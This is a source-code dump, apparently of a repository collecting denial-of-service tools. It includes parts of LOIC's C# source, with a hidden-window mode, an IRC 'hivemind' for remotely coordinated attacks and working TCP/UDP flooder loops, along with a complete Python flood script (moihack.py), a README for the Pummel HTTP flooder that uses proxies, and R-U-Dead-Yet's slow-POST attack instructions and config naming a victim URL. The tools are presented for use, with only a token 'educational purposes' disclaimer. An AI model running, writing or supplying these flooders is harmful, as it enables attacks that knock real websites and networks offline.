System.Windows.Forms; 8 | 9 | namespace LOIC 10 | { 11 | static class Program 12 | { 13 | [STAThread] 14 | static void Main(string[] cmdLine) 15 | { 16 | bool hive = false, hide = false; 17 | string ircserver = "", ircport = "", ircchannel = ""; 18 | 19 | int count = 0; 20 | foreach(string s in cmdLine) 21 | { 22 | if(s.ToLowerInvariant() == "/hidden") { 23 | hide = true; 24 | } 25 | 26 | // IRC 27 | if(s.ToLowerInvariant() == "/hivemind") { 28 | hive = true; 29 | ircserver = cmdLine[count + 1]; //if no server entered let it crash 30 | try {ircport = cmdLine[count + 2];} 31 | catch(Exception) {ircport = "6667";} //default 32 | try {ircchannel = cmdLine[count + 3];} 33 | catch(Exception) {ircchannel = "#loic";} //default 34 | } 35 | 36 | count++; 37 | } 38 | 39 | Application.SetCompatibleTextRenderingDefault(false); 40 | Application.Run(new frmMain(hive, hide, ircserver, ircport, ircchannel)); 41 | } 42 | } 43 | } -------------------------------------------------------------------------------- /Linux/LOIC/src/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.InteropServices; 3 | 4 | [assembly: AssemblyTitle("Low Orbit Ion Cannon")] 5 | [assembly: AssemblyDescription("TCP/IP stress-test tool")] 6 | [assembly: AssemblyProduct("Low Orbit Ion Cannon")] 7 | [assembly: AssemblyCopyright("Public domain")] 8 | 9 | [assembly: System.Resources.NeutralResourcesLanguage("en-US")] 10 | 11 | [assembly: System.CLSCompliant(true)] 12 | [assembly: ComVisible(false)] 13 | 14 | [assembly: Guid("312adafc-fdac-484b-84c5-5c5457e47f67")] 15 | 16 | [assembly: AssemblyVersion("2.9.9.99")] 17 | [assembly: AssemblyFileVersionAttribute("2.9.9.99")] 18 | -------------------------------------------------------------------------------- /Linux/LOIC/src/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:2.0.50727.5018 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace LOIC.Properties { 12 | using System; 13 | 14 | 15 | /// 16 | /// A strongly-typed resource class, for looking up localized strings, etc. 17 | /// 18 | // This class was auto-generated by the StronglyTypedResourceBuilder 19 | // class via a tool like ResGen or Visual Studio. 20 | // To add or remove a member, edit your .ResX file then rerun ResGen 21 | // with the /str option, or rebuild your VS project. 22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] 23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 25 | internal class Resources { 26 | 27 | private static global::System.Resources.ResourceManager resourceMan; 28 | 29 | private static global::System.Globalization.CultureInfo resourceCulture; 30 | 31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 32 | internal Resources() { 33 | } 34 | 35 | /// 36 | /// Returns the cached ResourceManager instance used by this class. 37 | /// 38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 39 | internal static global::System.Resources.ResourceManager ResourceManager { 40 | get { 41 | if (object.ReferenceEquals(resourceMan, null)) { 42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("LOIC.Properties.Resources", typeof(Resources).Assembly); 43 | resourceMan = temp; 44 | } 45 | return resourceMan; 46 | } 47 | } 48 | 49 | /// 50 | /// Overrides the current thread's CurrentUICulture property for all 51 | /// resource lookups using this strongly typed resource class. 52 | /// 53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 54 | internal static global::System.Globalization.CultureInfo Culture { 55 | get { 56 | return resourceCulture; 57 | } 58 | set { 59 | resourceCulture = value; 60 | } 61 | } 62 | 63 | internal static string EULA { 64 | get { 65 | return ResourceManager.GetString("EULA", resourceCulture); 66 | } 67 | } 68 | 69 | internal static System.Drawing.Bitmap LOIC { 70 | get { 71 | object obj = ResourceManager.GetObject("LOIC", resourceCulture); 72 | return ((System.Drawing.Bitmap)(obj)); 73 | } 74 | } 75 | 76 | internal static System.Drawing.Icon LOIC_ICO { 77 | get { 78 | object obj = ResourceManager.GetObject("LOIC_ICO", resourceCulture); 79 | return ((System.Drawing.Icon)(obj)); 80 | } 81 | } 82 | 83 | internal static System.Drawing.Bitmap WTF { 84 | get { 85 | object obj = ResourceManager.GetObject("WTF", resourceCulture); 86 | return ((System.Drawing.Bitmap)(obj)); 87 | } 88 | } 89 | } 90 | } 91 | -------------------------------------------------------------------------------- /Linux/LOIC/src/Protocol.cs: -------------------------------------------------------------------------------- 1 | /* LOIC - Low Orbit Ion Cannon 2 | * Released to the public domain 3 | * Enjoy getting v&, kids. 4 | */ 5 | 6 | using System; 7 | 8 | namespace LOIC { 9 | 10 | /// 11 | /// Protocol. 12 | /// 13 | public enum Protocol 14 | { 15 | /// 16 | /// No (invalid) protocol. 17 | /// 18 | None = 0, 19 | 20 | /// 21 | /// Transmission Control Protocol. 22 | /// 23 | TCP = 1, 24 | 25 | /// 26 | /// User Datagram Protocol. 27 | /// 28 | UDP = 2, 29 | 30 | /// 31 | /// HyperText Transfer Protocol. 32 | /// 33 | HTTP = 3, 34 | 35 | /// 36 | /// XXX: Must be documented. 37 | /// 38 | slowLOIC = 4, 39 | 40 | /// 41 | /// XXX: Must be documented. 42 | /// 43 | ReCoil = 5, 44 | 45 | /// 46 | /// ICMP Protocol method 47 | /// 48 | ICMP = 6, 49 | } 50 | } -------------------------------------------------------------------------------- /Linux/LOIC/src/ReqState.cs: -------------------------------------------------------------------------------- 1 | /* LOIC - Low Orbit Ion Cannon 2 | * Released to the public domain 3 | * Enjoy getting v&, kids. 4 | */ 5 | 6 | using System; 7 | 8 | namespace LOIC 9 | { 10 | public enum ReqState 11 | { 12 | Ready, 13 | Connecting, 14 | Requesting, 15 | Downloading, 16 | Completed, 17 | Failed 18 | }; 19 | } -------------------------------------------------------------------------------- /Linux/LOIC/src/Resources/EULA.rtf: -------------------------------------------------------------------------------- 1 | {\rtf1\ansi\ansicpg1252\deff0\deflang1033{\fonttbl{\f0\fnil\fcharset0 Arial;}} 2 | \viewkind4\uc1\pard\nowidctlpar\sa200\qj\b\fs8\line\fs22 Newfag's Low Orbit Ion Cannon - End User License Agreement\b0\par 3 | \b 1. Parties and Scope\b0\par 4 | This agreement (or "License") is celebrated between two parties: Project Authors and Contributors - herein "We", "Us", "Licensor"; and the End User - herein "You", "Licensee".\par 5 | This agreement governs use of the accompanying software (the "Work"). If you use the software, you accept this License. If you decline the License, do not use the software.\par 6 | \b You may not use this software for any illegal or unethical purpose; including activities which would give rise to criminal or civil liability.\b0\par 7 | \b 2. Grant of Rights\b0\par 8 | Licensor hereby either (a) certifies that, to the best of his knowledge, the work of authorship identified is in the public domain of the country from which the work is published, or (b) hereby dedicates whatever copyright the Licensor holds in the Work of authorship to the public domain. The Licensor, moreover, dedicates any copyright interest he may have in the associated Work, and for these purposes, is described as a "Dedicator" below.\par 9 | Licensor has taken reasonable steps to verify the copyright status of this Work, and recognizes that his good faith efforts may not shield him from liability if in fact the Work certified is not in the public domain.\par 10 | Dedicator makes this dedication for the benefit of the public at large and to the detriment of the Dedicator's heirs and successors. Dedicator intends this dedication to be an overt act of relinquishment in perpetuity of all present and future rights under copyright law, whether vested or contingent, in the Work. Dedicator understands that such relinquishment of all rights includes the relinquishment of all rights to enforce (by lawsuit or otherwise) those copyrights in the Work.\par 11 | Dedicator recognizes that, once placed in the public domain, the Work may be freely reproduced, distributed, transmitted, used, modified, built upon, or otherwise exploited by anyone for any purpose, commercial or non-commercial, and in any way, including by methods that have not yet been invented or conceived.\par 12 | \b 3. Conditions and Limitations\b0\par 13 | The Work is licensed "AS-IS". You bear the risk of using it. The Licensor gives no express warranties, guarantees, or conditions. You may have additional consumer rights under your local laws which this license cannot change. To the extent permitted under your local laws, the Licensor excludes the implied warranties of merchantability, fitness for a particular purpose and non-infringement.\par 14 | The Work is released for educational purposes only, with the intent of helping to develop an "Hacker Defense" attitude.\par 15 | \b Under no event shall the Licensor be responsible for the activities, or any misdeeds, conducted by the Licensee.\par 16 | } 17 | -------------------------------------------------------------------------------- /Linux/LOIC/src/Resources/LOIC.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/LOIC/src/Resources/LOIC.gif -------------------------------------------------------------------------------- /Linux/LOIC/src/Resources/LOIC.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/LOIC/src/Resources/LOIC.ico -------------------------------------------------------------------------------- /Linux/LOIC/src/Resources/WTF.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/LOIC/src/Resources/WTF.jpg -------------------------------------------------------------------------------- /Linux/LOIC/src/Settings.cs: -------------------------------------------------------------------------------- 1 | /* LOIC - Low Orbit Ion Cannon 2 | * Released to the public domain 3 | * Enjoy getting v&, kids. 4 | */ 5 | 6 | using System; 7 | using System.Collections.Specialized; 8 | using System.Configuration; 9 | 10 | namespace LOIC 11 | { 12 | public class Settings 13 | { 14 | public static bool HasAcceptedEula() 15 | { 16 | return (false == String.IsNullOrEmpty(ReadSetting("AcceptEULA"))); 17 | } 18 | 19 | public static bool SaveAcceptedEula() 20 | { 21 | return UpdateSetting("AcceptEULA", "1"); 22 | } 23 | 24 | public static string ReadSetting(string key, bool emptyUndefined = true) 25 | { 26 | try 27 | { 28 | NameValueCollection appSettings = ConfigurationManager.AppSettings; 29 | string result = appSettings[key] ?? (emptyUndefined ? "" : "Not Found"); 30 | return result; 31 | } 32 | catch (ConfigurationErrorsException) 33 | { 34 | return null; 35 | } 36 | } 37 | 38 | public static bool UpdateSetting(string key, string value) 39 | { 40 | try 41 | { 42 | Configuration configFile = ConfigurationManager.OpenExeConfiguration(ConfigurationUserLevel.None); 43 | KeyValueConfigurationCollection settings = configFile.AppSettings.Settings; 44 | if (settings[key] == null) 45 | { 46 | settings.Add(key, value); 47 | } 48 | else 49 | { 50 | settings[key].Value = value; 51 | } 52 | configFile.Save(ConfigurationSaveMode.Modified); 53 | ConfigurationManager.RefreshSection(configFile.AppSettings.SectionInformation.Name); 54 | 55 | return true; 56 | } 57 | catch (ConfigurationErrorsException) 58 | { 59 | return false; 60 | } 61 | } 62 | } 63 | } -------------------------------------------------------------------------------- /Linux/LOIC/src/XXPFlooder.cs: -------------------------------------------------------------------------------- 1 | /* LOIC - Low Orbit Ion Cannon 2 | * Released to the public domain 3 | * Enjoy getting v&, kids. 4 | */ 5 | 6 | using System; 7 | using System.ComponentModel; 8 | using System.Net; 9 | using System.Net.Sockets; 10 | 11 | namespace LOIC 12 | { 13 | public class XXPFlooder : cHLDos 14 | { 15 | private BackgroundWorker bw; 16 | 17 | private readonly string IP; 18 | private readonly int Port; 19 | private readonly int Protocol; 20 | private readonly bool Resp; 21 | private readonly string Data; 22 | private readonly bool AllowRandom; 23 | 24 | public XXPFlooder(string ip, int port, int proto, int delay, bool resp, string data, bool random) 25 | { 26 | this.IP = ip; 27 | this.Port = port; 28 | this.Protocol = proto; 29 | this.Delay = delay; 30 | this.Resp = resp; 31 | this.Data = data; 32 | this.AllowRandom = random; 33 | this.Requested = 0; 34 | this.Failed = 0; 35 | } 36 | public override void Start() 37 | { 38 | this.IsFlooding = true; 39 | this.bw = new BackgroundWorker(); 40 | this.bw.DoWork += bw_DoWork; 41 | this.bw.RunWorkerAsync(); 42 | this.bw.WorkerSupportsCancellation = true; 43 | } 44 | public override void Stop() 45 | { 46 | this.IsFlooding = false; 47 | this.bw.CancelAsync(); 48 | } 49 | private void bw_DoWork(object sender, DoWorkEventArgs e) 50 | { 51 | try 52 | { 53 | IPEndPoint RHost = new IPEndPoint(IPAddress.Parse(IP), Port); 54 | while (this.IsFlooding) 55 | { 56 | State = ReqState.Ready; // SET STATE TO READY // 57 | if(Protocol == (int)LOIC.Protocol.TCP) 58 | { 59 | using (Socket socket = new Socket(RHost.AddressFamily, SocketType.Stream, ProtocolType.Tcp)) 60 | { 61 | socket.NoDelay = true; 62 | State = ReqState.Connecting; // SET STATE TO CONNECTING // 63 | 64 | try { socket.Connect(RHost); } 65 | catch { continue; } 66 | 67 | socket.Blocking = Resp; 68 | State = ReqState.Requesting; // SET STATE TO REQUESTING // 69 | 70 | try 71 | { 72 | while (this.IsFlooding) 73 | { 74 | Requested++; 75 | byte[] buf = System.Text.Encoding.ASCII.GetBytes(String.Concat(Data, (AllowRandom ? Functions.RandomString() : ""))); 76 | socket.Send(buf); 77 | if (Delay >= 0) System.Threading.Thread.Sleep(Delay + 1); 78 | } 79 | } 80 | catch { Failed++; } 81 | } 82 | } 83 | if(Protocol == (int)LOIC.Protocol.UDP) 84 | { 85 | using (Socket socket = new Socket(RHost.AddressFamily, SocketType.Dgram, ProtocolType.Udp)) 86 | { 87 | socket.Blocking = Resp; 88 | State = ReqState.Requesting; // SET STATE TO REQUESTING // 89 | 90 | try 91 | { 92 | while (this.IsFlooding) 93 | { 94 | Requested++; 95 | byte[] buf = System.Text.Encoding.ASCII.GetBytes(String.Concat(Data, (AllowRandom ? Functions.RandomString() : ""))); 96 | socket.SendTo(buf, SocketFlags.None, RHost); 97 | if (Delay >= 0) System.Threading.Thread.Sleep(Delay + 1); 98 | } 99 | } 100 | catch { Failed++; } 101 | } 102 | } 103 | } 104 | } 105 | // Analysis disable once EmptyGeneralCatchClause 106 | catch { } 107 | finally { State = ReqState.Ready; this.IsFlooding = false; } 108 | } 109 | } 110 | } -------------------------------------------------------------------------------- /Linux/LOIC/src/app.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /Linux/LOIC/src/app.manifest: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | -------------------------------------------------------------------------------- /Linux/LOIC/src/frmEULA.cs: -------------------------------------------------------------------------------- 1 | /* LOIC - Low Orbit Ion Cannon 2 | * Released to the public domain 3 | * Enjoy getting v&, kids. 4 | */ 5 | 6 | using System; 7 | using System.Collections.Generic; 8 | using System.ComponentModel; 9 | using System.Drawing; 10 | using System.Text; 11 | using System.Windows.Forms; 12 | 13 | namespace LOIC 14 | { 15 | public partial class frmEULA : Form 16 | { 17 | public frmEULA() 18 | { 19 | InitializeComponent(); 20 | 21 | txtEULA.Clear(); 22 | txtEULA.ReadOnly = true; 23 | txtEULA.Rtf = global::LOIC.Properties.Resources.EULA; 24 | 25 | BringToFront(); 26 | } 27 | 28 | private void chkEULA_CheckedChanged(object sender, EventArgs e) 29 | { 30 | btnAccept.Enabled = chkEULA.Checked; 31 | } 32 | } 33 | } -------------------------------------------------------------------------------- /Linux/LOIC/src/frmEZGrab.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Data; 5 | using System.Drawing; 6 | using System.Text; 7 | using System.Windows.Forms; 8 | 9 | namespace LOIC 10 | { 11 | public partial class frmEZGrab : Form 12 | { 13 | public string hivemind, overlord; 14 | 15 | public frmEZGrab(string HiveMind, string OverLord) 16 | { 17 | InitializeComponent(); 18 | this.hivemind = HiveMind; 19 | txtHivemind.Text = HiveMind; 20 | this.overlord = OverLord; 21 | txtOverlord.Text = OverLord; 22 | } 23 | private void frmEZGrab_FormClosed(object sender, FormClosedEventArgs e) 24 | { 25 | this.Dispose(); 26 | } 27 | private void btnUpdate_Click(object sender, EventArgs e) 28 | { 29 | if (txtDate.Text != "") 30 | { 31 | txtOverlord.Text = overlord + "&@time=" + txtDate.Text + "@"; 32 | } 33 | } 34 | private void btnShorten_Click(object sender, EventArgs e) 35 | { 36 | string turl = ""; 37 | if (rbbitly.Checked) 38 | { 39 | turl = "http://bit.ly/?u="; 40 | } 41 | else if (rbisgd.Checked) 42 | { 43 | turl = "http://is.gd/create.php?longurl="; 44 | } 45 | turl += Uri.EscapeDataString(txtOverlord.Text); 46 | System.Diagnostics.Process.Start(turl); 47 | } 48 | private void btnCancel_Click(object sender, EventArgs e) 49 | { 50 | this.Close(); 51 | } 52 | } 53 | } -------------------------------------------------------------------------------- /Linux/LOIC/src/frmWtf.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace LOIC 2 | { 3 | partial class frmWtf 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Windows Form Designer generated code 24 | 25 | /// 26 | /// Required method for Designer support - do not modify 27 | /// the contents of this method with the code editor. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | this.SuspendLayout(); 32 | // 33 | // frmWtf 34 | // 35 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); 36 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 37 | this.BackgroundImage = global::LOIC.Properties.Resources.WTF; 38 | this.ClientSize = new System.Drawing.Size(416, 300); 39 | this.ControlBox = false; 40 | this.Icon = global::LOIC.Properties.Resources.LOIC_ICO; 41 | this.Name = "frmWtf"; 42 | this.ShowInTaskbar = false; 43 | this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; 44 | this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.frmWtf_FormClosed); 45 | this.Click += new System.EventHandler(this.frmWtf_Click); 46 | this.KeyDown += new System.Windows.Forms.KeyEventHandler(this.frmWtf_KeyDown); 47 | this.ResumeLayout(false); 48 | 49 | } 50 | 51 | #endregion 52 | } 53 | } -------------------------------------------------------------------------------- /Linux/LOIC/src/frmWtf.cs: -------------------------------------------------------------------------------- 1 | /* LOIC - Low Orbit Ion Cannon 2 | * Released to the public domain 3 | * Enjoy getting v&, kids. 4 | */ 5 | 6 | using System; 7 | using System.Windows.Forms; 8 | 9 | namespace LOIC 10 | { 11 | public partial class frmWtf : Form 12 | { 13 | public frmWtf() 14 | { 15 | InitializeComponent(); 16 | } 17 | private void frmWtf_Click(object sender, EventArgs e) 18 | { 19 | Close(); 20 | } 21 | private void frmWtf_KeyDown(object sender, KeyEventArgs e) 22 | { 23 | Close(); 24 | } 25 | private void frmWtf_FormClosed(object sender, FormClosedEventArgs e) 26 | { 27 | Dispose(); 28 | } 29 | } 30 | } -------------------------------------------------------------------------------- /Linux/LOIC/src/packages/log4net.2.0.5/lib/net10-full/log4net.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/LOIC/src/packages/log4net.2.0.5/lib/net10-full/log4net.dll -------------------------------------------------------------------------------- /Linux/LOIC/src/packages/log4net.2.0.5/lib/net11-full/log4net.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/LOIC/src/packages/log4net.2.0.5/lib/net11-full/log4net.dll -------------------------------------------------------------------------------- /Linux/LOIC/src/packages/log4net.2.0.5/lib/net20-full/log4net.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/LOIC/src/packages/log4net.2.0.5/lib/net20-full/log4net.dll -------------------------------------------------------------------------------- /Linux/LOIC/src/packages/log4net.2.0.5/lib/net35-client/log4net.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/LOIC/src/packages/log4net.2.0.5/lib/net35-client/log4net.dll -------------------------------------------------------------------------------- /Linux/LOIC/src/packages/log4net.2.0.5/lib/net35-full/log4net.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/LOIC/src/packages/log4net.2.0.5/lib/net35-full/log4net.dll -------------------------------------------------------------------------------- /Linux/LOIC/src/packages/log4net.2.0.5/lib/net40-client/log4net.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/LOIC/src/packages/log4net.2.0.5/lib/net40-client/log4net.dll -------------------------------------------------------------------------------- /Linux/LOIC/src/packages/log4net.2.0.5/lib/net40-full/log4net.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/LOIC/src/packages/log4net.2.0.5/lib/net40-full/log4net.dll -------------------------------------------------------------------------------- /Linux/LOIC/src/packages/log4net.2.0.5/lib/net45-full/log4net.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/LOIC/src/packages/log4net.2.0.5/lib/net45-full/log4net.dll -------------------------------------------------------------------------------- /Linux/LOIC/src/packages/log4net.2.0.5/log4net.2.0.5.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/LOIC/src/packages/log4net.2.0.5/log4net.2.0.5.nupkg -------------------------------------------------------------------------------- /Linux/LOIC/src/packages/log4net.2.0.5/log4net.2.0.5.nupkg.sha512: -------------------------------------------------------------------------------- 1 | AEqPZz+v+OikfnR2SqRVdQPnSaLq5y9Iz1CfRQZ9kTKPYCXHG6zYmDHb7wJotICpDLMr/JqokyjiqKAjUKp0ng== -------------------------------------------------------------------------------- /Linux/LOIC/src/packages/log4net.2.0.5/log4net.nuspec: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | log4net 5 | 2.0.5 6 | log4net [1.2.15] 7 | Apache Software Foundation 8 | Jiří Činčura 9 | http://logging.apache.org/log4net/license.html 10 | http://logging.apache.org/log4net/ 11 | false 12 | log4net is a tool to help the programmer output log statements to a variety of output targets. In case of problems with an application, it is helpful to enable logging so that the problem can be located. With log4net it is possible to enable logging at runtime without modifying the application binary. The log4net package is designed so that log statements can remain in shipped code without incurring a high performance cost. It follows that the speed of logging (or rather not logging) is crucial. 13 | 14 | At the same time, log output can be so voluminous that it quickly becomes overwhelming. One of the distinctive features of log4net is the notion of hierarchical loggers. Using these loggers it is possible to selectively control which log statements are output at arbitrary granularity. 15 | 16 | log4net is designed with two distinct goals in mind: speed and flexibility 17 | The Apache log4net library is a tool to help the programmer output log statements to a variety of output targets. 18 | logging log tracing logfiles 19 | 20 | -------------------------------------------------------------------------------- /Linux/LOIC/src/packages/repositories.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /Linux/Moihack Reloaded/moihack.py: -------------------------------------------------------------------------------- 1 | import socket,random,sys 2 | 3 | print("""Welcome to Moihack DoS Attack Tool Reloaded 4 | Command syntax is Target -Port Number -Protocol[TCP/UDP] -Random Packet Creation[On/Off] 5 | Exaple: 192.168.1.1 -80 -tcp -on 6 | Please enter a valid command:""") 7 | command=input().split(' -') 8 | 9 | Data="qwertyuiopasdfghjklzxcvbnm0123456789~!@#$%^&*()+=`;?.,<>\|{}[]" 10 | Target=command[0] 11 | Port=int(command[1]) 12 | Protocol=command[2] 13 | Rap=command[3] 14 | Adr=(Target,Port) 15 | 16 | while True: 17 | if Protocol =='TCP' or Protocol == 'tcp' or Protocol == 'Tcp' or Protocol == 't': 18 | Sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 19 | elif Protocol =='UDP' or Protocol == 'udp' or Protocol == 'Udp' or Protocol == 'u': 20 | Sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) 21 | 22 | Sock.connect(Adr) 23 | if Rap=='ON' or Rap=='On' or Rap=='on': 24 | Bytes=(Data*random.randrange(16,64)) 25 | BytesEnc=str.encode(Bytes) 26 | elif Rap=='OFF' or Rap=='Off' or Rap=='off': 27 | Bytes=(Data*64) 28 | BytesEnc=str.encode(Bytes) 29 | Sock.sendall(BytesEnc) 30 | 31 | print('Flooding {0} in port {1} with {2} bytes of data'.format(Target, Port, sys.getsizeof(BytesEnc))) 32 | if socket.error: 33 | Sock.shutdown(socket.SHUT_RDWR) 34 | Sock.close 35 | del Sock 36 | 37 | 38 | 39 | 40 | 41 | -------------------------------------------------------------------------------- /Linux/Pummel/LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 HC133 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Linux/Pummel/README.md: -------------------------------------------------------------------------------- 1 | ``` 2 | ██████╗ ██╗ ██╗███╗ ███╗███╗ ███╗███████╗██╗ 3 | ██╔══██╗██║ ██║████╗ ████║████╗ ████║██╔════╝██║ 4 | ██████╔╝██║ ██║██╔████╔██║██╔████╔██║█████╗ ██║ 5 | ██╔═══╝ ██║ ██║██║╚██╔╝██║██║╚██╔╝██║██╔══╝ ██║ 6 | ██║ ╚██████╔╝██║ ╚═╝ ██║██║ ╚═╝ ██║███████╗███████╗ 7 | ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚══════╝ 8 | ``` 9 | ![](https://img.shields.io/badge/Version-1.2.8-brightgreen.svg) ![](https://img.shields.io/badge/license-MIT-blue.svg) 10 | 11 | Update: 12 | - [x] Prevent Attacking .edu or .gov website 13 | 14 | Func: 15 | 16 | - [x] HTTP-Flooding 17 | - [x] HTTPS-Flooding 18 | - [x] Semiauto-Get Socks5 Proxies 19 | - [x] Socks5 Proxies Checker 20 | - [x] GET/HEAD Mode 21 | - [x] User-friendly 22 | 23 | ![test](https://user-images.githubusercontent.com/63648976/79683896-e7c25c80-825f-11ea-9d31-09e473cb838c.gif) 24 | 25 | Install 26 | --- 27 | ``` 28 | pip3 install requests pysocks 29 | git clone https://github.com/HC133/Pummel.git 30 | cd Pummel 31 | ``` 32 | Usage 33 | --- 34 | ``` 35 | python3 pummel.py 36 | ``` 37 | -------------------------------------------------------------------------------- /Linux/R-U-Dead-Yet/README.md: -------------------------------------------------------------------------------- 1 | This is the README file for: 2 | R-U-Dead-Yet version 2.2 3 | 4 | New Features In This Version: 5 | ----------------------------- 6 | 7 | 1) Handles TCP ports other than 80 using the :PORT parameter in the URL 8 | 9 | R-U-Dead-Yet is run in one of two modes: 10 | 11 | 1) Interactive menu mode 12 | 2) Unattended configuration-based execution 13 | 14 | In order to run using the first mode, run as following: 15 | 16 | r-u-dead-yet.py 17 | 18 | whereas URL is the FQDN link leading to a web page containing a web form to attack. 19 | r-u-dead-yet will take care of the rest of the procedure allowing the user to pick: 20 | 1) Form to attack 21 | 2) Form field to use 22 | 3) How many concurrent connections 23 | 4) Whether use a SOCKS proxy such as Tor 24 | 25 | In the unattended mode, you will need to place a file called: 26 | 27 | rudeadyet.conf 28 | 29 | in the same directory as the code (BeautifulSoup.py is also required). 30 | The file should look like this: 31 | 32 | [parameters] 33 | 34 | URL: http://www.victim.com/path-to-post-url.php 35 | number_of_connections: 500 36 | attack_parameter: login 37 | 38 | proxy_addr: "" 39 | 40 | proxy_port: 0 41 | 42 | Whereas: 43 | -------- 44 | URL = POST URL 45 | number_of_connections = concurrent processes to execute 46 | attack_parameter = POST parameter to fuzz 47 | proxy_addr = IP of the SOCKS4 proxy to use (leave as empty string if no proxy required) 48 | proxy_port = TCP port on which the SOCKS4 proxy is listening (leave as 0 if no proxy required) 49 | 50 | TODO 51 | ---- 52 | 53 | - Add custom headers and POST parameters needed 54 | -------------------------------------------------------------------------------- /Linux/R-U-Dead-Yet/rudeadyet.conf: -------------------------------------------------------------------------------- 1 | [parameters] 2 | 3 | URL: http://www.victim.com/path-to-post-url.php 4 | number_of_connections: 500 5 | attack_parameter: login 6 | proxy_addr: "" 7 | proxy_port: 0 -------------------------------------------------------------------------------- /Linux/RCPnet/Capture.PNG: -------------------------------------------------------------------------------- 